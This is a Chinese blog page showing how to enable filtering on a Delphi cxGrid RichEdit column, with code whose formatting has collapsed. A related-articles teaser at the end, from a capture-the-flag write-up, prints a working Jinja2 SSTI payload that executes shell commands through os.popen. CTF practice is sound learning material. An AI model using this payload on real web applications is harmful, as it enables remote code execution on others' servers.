delphi dev cxgrid 列绑定Richedti 支持过滤

news/2024/11/15 19:56:47/文章来源:https://www.cnblogs.com/BTag/p/18300461

默认是不支持过滤的,这里需要改到内部的一些源码文件。

先说思路:

1.要让列支持过滤需要重载richedit类的 GetSupportedOperations,

typeTcxRichEditProperties = class(cxRichEdit.TcxRichEditProperties)publicfunction GetSupportedOperations: TcxEditSupportedOperations; override;end;
{ TcxRichEditProperties }function TcxRichEditProperties.GetSupportedOperations: TcxEditSupportedOperations;
beginResult := [esoAutoHeight, esoEditing, esoHorzAlignment, esoFiltering]; //多加上 esoFiltering
end;

然后指定列为:  Column.PropertiesClass := TcxRichEditProperties; 不指定,直接设置的话是没有效果的。

要在过滤的时候能输入,需要处理一下GetProperties。放一个 cxEditRepository ,添加一个 RichItem  一个TextEditItem

procedure TForm1.ColumnGetProperties(Sender: TcxCustomGridTableItem; ARecord: TcxCustomGridRecord;var AProperties: TcxCustomEditProperties);
beginif ARecord is TcxGridFilterRow thenbeginAProperties := cxdtrpstrytxtmcxdtrpstry1TextItem1.Properties;endelsebeginAProperties := cxdtrpstry1RichItem1.Properties;end;
end;

还要处理,下拉过滤选择显示的问题,不处理。选择某一个过滤条件后。显示的是RTF格式的内容

procedure TForm1.ColumnGetDisplayText(Sender: TcxCustomGridTableItem; ARecord: TcxCustomGridRecord;var AText: String);
beginif AText = ''  thenExit;if ARecord is TcxGridFilterRow thenif IsRichText(AText) thenAText := ConvertRichText(AText);
end;

接下来是核心过滤的改动,cxfilter.pas文件 Compare 函数 .这里只贴 

Result := AItem.Operator.CompareValues(V, V2); 
之前要处理的代码。需要uses cxRichEdit, cxGridCustomTableView 这两个单元。判断过滤列是不是
TcxRichEditProperties 然后把RTF 转成纯文本就可以过滤了
   function IsRichText(const AText: string): Boolean;constARichPrefix = '{\rtf';beginResult := Copy(AText, 1, Length(ARichPrefix)) = ARichPrefix;end;function Compare(AItem: TcxFilterCriteriaItem): Boolean;varV,V2: Variant;begintryif AItem.ItemLink <> nil thenbeginif AItem.ItemLink is TcxCustomGridTableItem thenbeginif TcxCustomGridTableItem(AItem.ItemLink).PropertiesClassName = 'TcxRichEditProperties' thenif not IsRichText(v2) then //一般不可能输入rtf 格式的内容。 这里会触发的就是选过滤下拉选项那些V := ConvertRichText(V);  //转换后只剩下纯文本end;end;Result := AItem.Operator.CompareValues(V, V2);end;end;

 效果:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/743192.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《项目管理》-笔记1

PMBOK解读 1.1项目和项目管理 项目:项目是为创造独特的产品、服务或成果而进行的临时性工作。 项目管理:在项目的活动中运用知识、技术、工具、技巧,以满足项目要求。 1.2十大知识领域 (1)项目整合管理 项目整合管理包括为识别、定义、组合、统一和协调各项目管理过程组的各…

Cilium Ingress 特性(转载)

Cilium Ingress 特性Cilium Ingress 特性(转载) 一、环境信息主机 IPubuntu 10.0.0.234软件 版本docker 26.1.4helm v3.15.0-rc.2kind 0.18.0kubernetes 1.23.4ubuntu os Ubuntu 22.04.6 LTSkernel 5.15.0-106二、Cilium Ingress 流程图Cilium 现在提供了开箱即用的 Kuberne…

N1盒子挂载阿里云盘-Alist工具

Markdown Example.centered-text { text-align: center; font-size: 40px; font-family: "Times New Roman", Georgia, serif }N1盒子挂载阿里云盘安装Alist手动安装 参考:官方文档step 1step 2配置-启动step 3打开web网页:http://192.168.1.254:5244/ 登录界面、拉…

WindowsLinux搭建frp内网穿透(自用)

Linux服务器搭建服务端 1、下载官方frp包,软件是开源的,下载链接: https://github.com/fatedier/frp/releases 根据自己的版本需求,自行下载对应的版本号,本文章以0.37版本为例wget -c https://github.com/fatedier/frp/releases/download/v0.37.1/frp_0.37.1_linux_amd64…

2024-07-13:用go语言,给定一个从0开始的长度为n的整数数组nums和一个从0开始的长度为m的整数数组pattern,其中pattern数组仅包含整数-1、0和1。 一个子数组nums[i.

2024-07-13:用go语言,给定一个从0开始的长度为n的整数数组nums和一个从0开始的长度为m的整数数组pattern,其中pattern数组仅包含整数-1、0和1。 一个子数组nums[i..j]的大小为m+1,如果满足以下条件,则我们称该子数组与模式数组pattern匹配: 1.若pattern[k]为1,则nums[i+…

dbeaver

修改字体 参考 【DBeaver】常用自定义设置 旧版 编辑器字体查询结果字体新版 应用字体编辑器字体修改背景色 编辑器背景色注意: 此设置会同时修改查询结果背景色,但是需要重启 dbeaver格式化配置 参考 【DBeaver】常用自定义设置 格式化大小写关闭自动插入表别名关于语句分隔符…

动态规划的“三步走”方法

“三步走”方法 动态规划问题种类较多,但大多都能通过“三步走”方法解决。状态表示:将具体问题抽象为数学问题,明确需要表示的状态,数组中的下标分别表示哪种状态。 状态转移:状态转移相当于递推公式。主要有两种方式,可以从上一个状态转移到当前状态,或者从当前状态转…

N1盒子挂载磁盘-解决盒子重启后无法自动挂载问题

Markdown Example.centered-text { text-align: center; font-size: 40px; font-family: "Times New Roman", Georgia, serif }N1盒子挂载磁盘挂载步骤: step 1step 2如果提示挂载已存在、就先卸载挂载分区step 3 回到首页重新挂载step 4此时已经挂载成功、但是默认…

记一次 CDN 流量被盗刷经历

先说损失,被刷了 70 多RMB,600多G流量,PCDN 真可恶啊,这里分享一下过程和止损手段。先说损失,被刷了 70 多RMB,还好止损相对即时了,亏得不算多,PCDN 真可恶啊。600多G流量,100多万次请求。 怎么发现的 先是看到鱼皮大佬发了一篇推文突发,众多网站流量被盗刷!我特么也…

爬虫初识

一 介绍 二 安装 三 基本使用 四 选择器 五 等待元素被加载 六 元素交互操作 七 其他 八 项目练习_____egon新书python全套来袭:https://egonlin.com/book.html一 介绍selenium最初是一个自动化测试工具,而爬虫中使用它主要是为了解决requests无法直接执行JavaScript代码的问题…

手动更新补丁添加到 Win10 ISO映像包

手动更新补丁添加到 Win10 ISO映像包手动更新补丁添加到 Win10 ISO映像包操作步骤 下载原版ISO镜像文件并解压到指定文件夹中备用从 Microsoft 更新目录下载更新补丁只需要下载最新的累计更新即可,然后放入单独的文件中备用确定版本 Dism /Get-ImageInfo /ImageFile:D:\SW_DVD…

[HNCTF 2022 WEEK2]ez_SSTI

[HNCTF 2022 WEEK2]ez_SSTIpayload:?name={{.__class__.__base__.__subclasses__()[137].__init__.__globals__[__builtins__][eval](__import__("os").popen("cat flag").read())}}1.首先输入{{8*8}}判断漏洞类型2.然后输入{{.__class__}}判断当前对象所…